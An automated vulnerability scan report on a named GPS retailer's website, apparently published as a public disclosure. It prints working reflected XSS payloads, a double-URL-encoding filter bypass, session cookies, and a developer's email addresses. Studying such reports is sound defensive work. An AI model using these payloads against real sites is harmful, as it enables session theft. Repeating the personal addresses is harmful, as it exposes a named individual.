CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Tue Apr 26 18:27:55 CDT 2011.

1. Cross-site scripting (reflected)

1.1. http://www.magellangps.com/ [name of an arbitrarily supplied request parameter]

1.2. http://www.magellangps.com/s.nl [name of an arbitrarily supplied request parameter]

2. Cookie without HttpOnly flag set

3. Cross-domain Referer leakage

4. Cross-domain script include

4.1. http://www.magellangps.com/

4.2. http://www.magellangps.com/Products/eXploristseries

4.3. http://www.magellangps.com/s.nl

5. Email addresses disclosed

5.1. http://www.magellangps.com/lp/eXploristfamily/css/styles.css

5.2. http://www.magellangps.com/lp/eXploristfamily/js/main.js

5.3. http://www.magellangps.com/site/js/general-scripts.js

6. Robots.txt file

1. Cross-site scripting (reflected) next
There are 2 instances of this issue:

/ [name of an arbitrarily supplied request parameter]
/s.nl [name of an arbitrarily supplied request parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.magellangps.com/ [name of an arbitrarily supplied request parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.magellangps.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload bb4e2%2527style%253d%2527x%253aexpression%2528alert%25281%2529%2529%25272dba5efe1c7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as bb4e2'style='x:expression(alert(1))'2dba5efe1c7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /?bb4e2%2527style%253d%2527x%253aexpression%2528alert%25281%2529%2529%25272dba5efe1c7=1 HTTP/1.1
Host: www.magellangps.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 21:39:52 GMT
Server: Apache
Cache-Control: No-Cache,no-store
Pragma: No-Cache
Expires: 0
NS_RTIMER_COMPOSITE: 1673890758:73686F702D6A6176613031372E7376616C652E6E65746C65646765722E636F6D:80
Set-Cookie: JSESSIONID=yLNYN37LTf8tt0v5tRTL6LZ0wQGcSKMfxrfQtyLqRZFsv031yGCL9KmmjLhrVNjH2mFcVB127T22RhQy3KqmJpjRJyL6vyVyyZltQVMWwx133pGdMZpBVWnzTgQ61lVs!-1880311767; path=/
Set-Cookie: NLVisitorId=rcHW8655AcMJwTlB; domain=www.magellangps.com; expires=Monday, 16-Apr-2012 21:39:53 GMT; path=/
Set-Cookie: NLShopperId=rcHW8655AcgJweiI; domain=www.magellangps.com; expires=Tuesday, 03-May-2011 21:39:53 GMT; path=/
Set-Cookie: NS_VER=2011.1.0; domain=www.magellangps.com; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
P3P: CP="CAO PSAa OUR BUS PUR"
Vary: User-Agent
Content-Type: text/html; charset=utf-8
Content-Length: 77203

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>
...[SNIP]...
<input type='hidden' name='referer' value='http://www.magellangps.com/?bb4e2%27style%3d%27x%3aexpression%28alert%281%29%29%272dba5efe1c7=1&bb4e2'style='x:expression(alert(1))'2dba5efe1c7=1'>
...[SNIP]...

1.2. http://www.magellangps.com/s.nl [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.magellangps.com
Path:	/s.nl

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 14994%2527style%253d%2527x%253aexpression%2528alert%25281%2529%2529%2527d346e0b5a0f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 14994'style='x:expression(alert(1))'d346e0b5a0f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /s.nl?sc=3&custcol_celigo_serialno=&docookiecheck=T&whence=&14994%2527style%253d%2527x%253aexpression%2528alert%25281%2529%2529%2527d346e0b5a0f=1 HTTP/1.1
Host: www.magellangps.com
Proxy-Connection: keep-alive
Referer: http://www.magellangps.com/Products/eXploristseries
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=Q0VpN37HL9PBT1v5Z2ZGLH52C2T8QHJMwxQGWKxnCLrGQHjY4DnJV1TLb71TqCryvY2ngbbhwBYJvxwS95gZmdmPBTtNhlByXP6J17XqTFLLtpLShpCxYJkqfmQ1yGBW!-1425410427; NLVisitorId=rcHW8655Ac-HwJur; NS_VER=2011.1.0; __utmz=1.1303853977.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1403725269.1303853977.1303853977.1303853977.1; __utmc=1; __utmb=1.2.10.1303853977; NLShopperId=rcHW8655AeSHwA-v

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 21:49:29 GMT
Server: Apache
Cache-Control: No-Cache,no-store
Pragma: No-Cache
Expires: 0
NS_RTIMER_COMPOSITE: 684099100:73686F702D6A6176613030372E7376616C652E6E65746C65646765722E636F6D:80
X-Powered-By: Servlet/2.5 JSP/2.1
P3P: CP="CAO PSAa OUR BUS PUR"
Vary: User-Agent
Content-Type: text/html; charset=utf-8
Content-Length: 86971

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>
...[SNIP]...
<input type='hidden' name='referer' value='http://www.magellangps.com/s.nl?sc=3&14994%2527style%253d%2527x%253aexpression%2528alert%25281%2529%2529%2527d346e0b5a0f=1&whence=&custcol_celigo_serialno=&14994'style='x:expression(alert(1))'d346e0b5a0f=1&14994%27style%3d%27x%3aexpression%28alert%281%29%29%27d346e0b5a0f=1'>
...[SNIP]...

2. Cookie without HttpOnly flag set previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.magellangps.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=MX8nN37JhRs4xgQhh5W7Lnb1Jc53pNQpqjTjC92CxyDtCYMrGLGkPwl7ttpLG17bGb2p89w1rry3cT4nB4JL2sZLLqQbXyts352vgQmSTCGhlQHnCT1z29G4QyVNL06W!-1123747554; path=/
NLVisitorId=rcHW8655AUWRwK0L; domain=www.magellangps.com; expires=Monday, 16-Apr-2012 21:39:22 GMT; path=/
NLShopperId=rcHW8655AUiRwJPx; domain=www.magellangps.com; expires=Tuesday, 03-May-2011 21:39:22 GMT; path=/
NS_VER=2011.1.0; domain=www.magellangps.com; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET / HTTP/1.1
Host: www.magellangps.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 21:39:21 GMT
Server: Apache
Cache-Control: No-Cache,no-store
Pragma: No-Cache
Expires: 0
NS_RTIMER_COMPOSITE: 683260212:73686F702D6A6176613030392E7376616C652E6E65746C65646765722E636F6D:80
Set-Cookie: JSESSIONID=MX8nN37JhRs4xgQhh5W7Lnb1Jc53pNQpqjTjC92CxyDtCYMrGLGkPwl7ttpLG17bGb2p89w1rry3cT4nB4JL2sZLLqQbXyts352vgQmSTCGhlQHnCT1z29G4QyVNL06W!-1123747554; path=/
Set-Cookie: NLVisitorId=rcHW8655AUWRwK0L; domain=www.magellangps.com; expires=Monday, 16-Apr-2012 21:39:22 GMT; path=/
Set-Cookie: NLShopperId=rcHW8655AUiRwJPx; domain=www.magellangps.com; expires=Tuesday, 03-May-2011 21:39:22 GMT; path=/
Set-Cookie: NS_VER=2011.1.0; domain=www.magellangps.com; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
P3P: CP="CAO PSAa OUR BUS PUR"
Vary: User-Agent
Content-Type: text/html; charset=utf-8
Content-Length: 77084

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>
...[SNIP]...

3. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.magellangps.com
Path:	/s.nl

Issue detail

The page was loaded from a URL containing a query string:

http://www.magellangps.com/s.nl?sc=3&whence=&custcol_celigo_serialno=

The response contains the following links to other domains:

http://facebook.com/magellangps
http://twitter.com/magellangps
http://www.youtube.com/magellanvideo
https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
https://api.qualifiedaddress.com/Scripts/Library.js
https://api.qualifiedaddress.com/Scripts/Qad.js
https://checkout.netsuite.com/s.nl?c=1142057&n=1&sc=4&login=T&reset=T&ck=rcHW8655AeSHwA-v&vid=rcHW8655Ac-HwJur&cktime=96686&cart=776158&gc=clear&ext=F
https://checkout.netsuite.com/s.nl?c=1142057&n=1&sc=4&login=T&reset=T&newcust=T&noopt=T&ck=rcHW8655AeSHwA-v&vid=rcHW8655Ac-HwJur&cktime=96686&cart=776158&gc=clear&ext=F
https://forms.netsuite.com/app/site/hosting/scriptlet.nl?script=30&deploy=1&compid=1142057&h=19f07a9df79879e8b17f&ifrmcntnr=T&ck=rcHW8655AeSHwA-v&vid=rcHW8655Ac-HwJur&cktime=96686&cart=776158&gc=clear&customerid=

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /s.nl?sc=3&whence=&custcol_celigo_serialno= HTTP/1.1
Host: www.magellangps.com
Proxy-Connection: keep-alive
Referer: http://www.magellangps.com/Products/eXploristseries
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=Q0VpN37HL9PBT1v5Z2ZGLH52C2T8QHJMwxQGWKxnCLrGQHjY4DnJV1TLb71TqCryvY2ngbbhwBYJvxwS95gZmdmPBTtNhlByXP6J17XqTFLLtpLShpCxYJkqfmQ1yGBW!-1425410427; NLVisitorId=rcHW8655Ac-HwJur; NS_VER=2011.1.0; __utmz=1.1303853977.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1403725269.1303853977.1303853977.1303853977.1; __utmc=1; __utmb=1.2.10.1303853977; NLShopperId=rcHW8655AeSHwA-v

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 21:40:27 GMT
Server: Apache
Cache-Control: No-Cache,no-store
Pragma: No-Cache
Expires: 0
NS_RTIMER_COMPOSITE: -1577135949:73686F702D6A6176613030372E7376616C652E6E65746C65646765722E636F6D:80
X-Powered-By: Servlet/2.5 JSP/2.1
P3P: CP="CAO PSAa OUR BUS PUR"
Vary: User-Agent
Content-Type: text/html; charset=utf-8
Content-Length: 53685

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>
...[SNIP]...
</style>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<li><a href='https://checkout.netsuite.com/s.nl?c=1142057&n=1&sc=4&login=T&reset=T&newcust=T&noopt=T&ck=rcHW8655AeSHwA-v&vid=rcHW8655Ac-HwJur&cktime=96686&cart=776158&gc=clear&ext=F'>Create Account</a> / <a href='https://checkout.netsuite.com/s.nl?c=1142057&n=1&sc=4&login=T&reset=T&ck=rcHW8655AeSHwA-v&vid=rcHW8655Ac-HwJur&cktime=96686&cart=776158&gc=clear&ext=F'>Log..In</a>
...[SNIP]...
<li><a href="https://forms.netsuite.com/app/site/hosting/scriptlet.nl?script=30&deploy=1&compid=1142057&h=19f07a9df79879e8b17f&ifrmcntnr=T&ck=rcHW8655AeSHwA-v&vid=rcHW8655Ac-HwJur&cktime=96686&cart=776158&gc=clear&customerid=">Product Registration</a>
...[SNIP]...
<li><a href="https://forms.netsuite.com/app/site/hosting/scriptlet.nl?script=30&deploy=1&compid=1142057&h=19f07a9df79879e8b17f&ifrmcntnr=T&ck=rcHW8655AeSHwA-v&vid=rcHW8655Ac-HwJur&cktime=96686&cart=776158&gc=clear&customerid=">PRegistro de producto</a>
...[SNIP]...
<li><a href="https://forms.netsuite.com/app/site/hosting/scriptlet.nl?script=30&deploy=1&compid=1142057&h=19f07a9df79879e8b17f&ifrmcntnr=T&ck=rcHW8655AeSHwA-v&vid=rcHW8655Ac-HwJur&cktime=96686&cart=776158&gc=clear&customerid=">Enregistrement du produit</a>
...[SNIP]...
<li class="eng"><a href="https://forms.netsuite.com/app/site/hosting/scriptlet.nl?script=30&deploy=1&compid=1142057&h=19f07a9df79879e8b17f&ifrmcntnr=T&ck=rcHW8655AeSHwA-v&vid=rcHW8655Ac-HwJur&cktime=96686&cart=776158&gc=clear&customerid=">Register your product</a>
...[SNIP]...
<li class="ita invisible"><a href="https://forms.netsuite.com/app/site/hosting/scriptlet.nl?script=30&deploy=1&compid=1142057&h=19f07a9df79879e8b17f&ifrmcntnr=T&ck=rcHW8655AeSHwA-v&vid=rcHW8655Ac-HwJur&cktime=96686&cart=776158&gc=clear&customerid=">Product Registrations</a>
...[SNIP]...
<li class="spa invisible"><a href="https://forms.netsuite.com/app/site/hosting/scriptlet.nl?script=30&deploy=1&compid=1142057&h=19f07a9df79879e8b17f&ifrmcntnr=T&ck=rcHW8655AeSHwA-v&vid=rcHW8655Ac-HwJur&cktime=96686&cart=776158&gc=clear&customerid=">Registro de producto</a>
...[SNIP]...
<li class="fra invisible"><a href="https://forms.netsuite.com/app/site/hosting/scriptlet.nl?script=30&deploy=1&compid=1142057&h=19f07a9df79879e8b17f&ifrmcntnr=T&ck=rcHW8655AeSHwA-v&vid=rcHW8655Ac-HwJur&cktime=96686&cart=776158&gc=clear&customerid=">Enregistrement du produit</a>
...[SNIP]...
<li class="ger invisible"><a href="https://forms.netsuite.com/app/site/hosting/scriptlet.nl?script=30&deploy=1&compid=1142057&h=19f07a9df79879e8b17f&ifrmcntnr=T&ck=rcHW8655AeSHwA-v&vid=rcHW8655Ac-HwJur&cktime=96686&cart=776158&gc=clear&customerid=">Product Registrations</a>
...[SNIP]...
<li class="social"><a id="face" href="http://facebook.com/magellangps">Facebook</a>
...[SNIP]...
<li class="social"><a id="twit" href="http://twitter.com/magellangps">Twitter</a>
...[SNIP]...
<li class="social"><a id="you" href="http://www.youtube.com/magellanvideo">YouTube</a>
...[SNIP]...
</script>
<script language="javascript" type="text/javascript" src="https://api.qualifiedaddress.com/Scripts/Library.js"></script>
<script language="javascript" type="text/javascript" src="https://api.qualifiedaddress.com/Scripts/Qad.js"></script>
...[SNIP]...

4. Cross-domain script include previous next
There are 3 instances of this issue:

/
/Products/eXploristseries
/s.nl

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

4.1. http://www.magellangps.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.magellangps.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
https://api.qualifiedaddress.com/Scripts/Library.js
https://api.qualifiedaddress.com/Scripts/Qad.js

Request

Response

4.2. http://www.magellangps.com/Products/eXploristseries previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.magellangps.com
Path:	/Products/eXploristseries

Issue detail

The response dynamically includes the following scripts from other domains:

http://content.channelintelligence.com/scripts/ykb_PopupWindow.js
https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
https://api.qualifiedaddress.com/Scripts/Library.js
https://api.qualifiedaddress.com/Scripts/Qad.js

Request

GET /Products/eXploristseries HTTP/1.1
Host: www.magellangps.com
Proxy-Connection: keep-alive
Referer: http://www.magellangps.com/lp/eXploristfamily/screens.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=Q0VpN37HL9PBT1v5Z2ZGLH52C2T8QHJMwxQGWKxnCLrGQHjY4DnJV1TLb71TqCryvY2ngbbhwBYJvxwS95gZmdmPBTtNhlByXP6J17XqTFLLtpLShpCxYJkqfmQ1yGBW!-1425410427; NLVisitorId=rcHW8655Ac-HwJur; NLShopperId=rcHW8655AeSHwA-v; NS_VER=2011.1.0; __utmz=1.1303853977.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1403725269.1303853977.1303853977.1303853977.1; __utmc=1; __utmb=1.1.10.1303853977

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 21:40:13 GMT
Server: Apache
Expires: 0
Last-Modified: Tue, 26 Apr 2011 21:40:11 GMT
NS_RTIMER_COMPOSITE: 684041816:73686F702D6A6176613030372E7376616C652E6E65746C65646765722E636F6D:80
X-Powered-By: Servlet/2.5 JSP/2.1
P3P: CP="CAO PSAa OUR BUS PUR"
Vary: User-Agent
Content-Type: text/html; charset=utf-8
Content-Length: 86023

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>
...[SNIP]...
</script>
<script language="JavaScript" src="http://content.channelintelligence.com/scripts/ykb_PopupWindow.js" type="text/javascript"></script>
...[SNIP]...
</style>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
</script>
<script language="javascript" type="text/javascript" src="https://api.qualifiedaddress.com/Scripts/Library.js"></script>
<script language="javascript" type="text/javascript" src="https://api.qualifiedaddress.com/Scripts/Qad.js"></script>
...[SNIP]...

4.3. http://www.magellangps.com/s.nl previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.magellangps.com
Path:	/s.nl

Issue detail

The response dynamically includes the following scripts from other domains:

https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
https://api.qualifiedaddress.com/Scripts/Library.js
https://api.qualifiedaddress.com/Scripts/Qad.js

Request

Response

5. Email addresses disclosed previous next
There are 3 instances of this issue:

/lp/eXploristfamily/css/styles.css
/lp/eXploristfamily/js/main.js
/site/js/general-scripts.js

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

5.1. http://www.magellangps.com/lp/eXploristfamily/css/styles.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.magellangps.com
Path:	/lp/eXploristfamily/css/styles.css

Issue detail

The following email addresses were disclosed in the response:

pasquale@leftlanecreative.com
pasquale@waveactive.com

Request

GET /lp/eXploristfamily/css/styles.css HTTP/1.1
Host: www.magellangps.com
Proxy-Connection: keep-alive
Referer: http://www.magellangps.com/lp/eXploristfamily/screens.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=Q0VpN37HL9PBT1v5Z2ZGLH52C2T8QHJMwxQGWKxnCLrGQHjY4DnJV1TLb71TqCryvY2ngbbhwBYJvxwS95gZmdmPBTtNhlByXP6J17XqTFLLtpLShpCxYJkqfmQ1yGBW!-1425410427; NLVisitorId=rcHW8655Ac-HwJur; NLShopperId=rcHW8655AeSHwA-v; NS_VER=2011.1.0; __utmz=1.1303853977.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1403725269.1303853977.1303853977.1303853977.1; __utmc=1; __utmb=1.1.10.1303853977

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 21:39:38 GMT
Server: Apache
Cache-Control: max-age=604800
Content-Disposition: inline;filename="styles.css"
NS_RTIMER_COMPOSITE: -1241495335:73686F702D6A6176613030372E7376616C652E6E65746C65646765722E636F6D:80
NLCacheNote: FromMediaCache=T
X-Powered-By: Servlet/2.5 JSP/2.1
P3P: CP="CAO PSAa OUR BUS PUR"
Vary: User-Agent
Content-Type: text/css; charset=UTF-8
Content-Length: 13045

@charset "utf-8";
/*
Magellan eXplorist CSS
Title: Default CSS
Author: Pasquale Scerbo (pasquale@waveactive.com || pasquale@leftlanecreative.com)
Date: March 2010
*/

/*----------------- CSS NORMALIZER -----------------*/
/*
- cancels default styles applied to page elements
- adjusts default elements between browsers to same baseline
...[SNIP]...

5.2. http://www.magellangps.com/lp/eXploristfamily/js/main.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.magellangps.com
Path:	/lp/eXploristfamily/js/main.js

Issue detail

The following email addresses were disclosed in the response:

pasquale@leftlanecreative.com
pasquale@waveactive.com

Request

GET /lp/eXploristfamily/js/main.js HTTP/1.1
Host: www.magellangps.com
Proxy-Connection: keep-alive
Referer: http://www.magellangps.com/lp/eXploristfamily/screens.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=Q0VpN37HL9PBT1v5Z2ZGLH52C2T8QHJMwxQGWKxnCLrGQHjY4DnJV1TLb71TqCryvY2ngbbhwBYJvxwS95gZmdmPBTtNhlByXP6J17XqTFLLtpLShpCxYJkqfmQ1yGBW!-1425410427; NLVisitorId=rcHW8655Ac-HwJur; NLShopperId=rcHW8655AeSHwA-v; NS_VER=2011.1.0; __utmz=1.1303853977.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1403725269.1303853977.1303853977.1303853977.1; __utmc=1; __utmb=1.1.10.1303853977

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 21:39:39 GMT
Server: Apache
Cache-Control: max-age=604800
Content-Disposition: inline;filename="main.js"
NS_RTIMER_COMPOSITE: -353693915:73686F702D6A6176613030372E7376616C652E6E65746C65646765722E636F6D:80
NLCacheNote: FromMediaCache=T
X-Powered-By: Servlet/2.5 JSP/2.1
P3P: CP="CAO PSAa OUR BUS PUR"
Vary: User-Agent
Content-Type: text/javascript; charset=UTF-8
Content-Length: 3242

/*
Magellan eXplorist JavaScript File
*/

/*
Author: Pasquale Scerbo (pasquale@waveactive.com || pasquale@leftlanecreative.com)
March 2010
*/

/*
Must be used with jQuery Library
*/

$(document).ready(function(){

/********************************************/
// jQuery Tooltip (Screen Three)
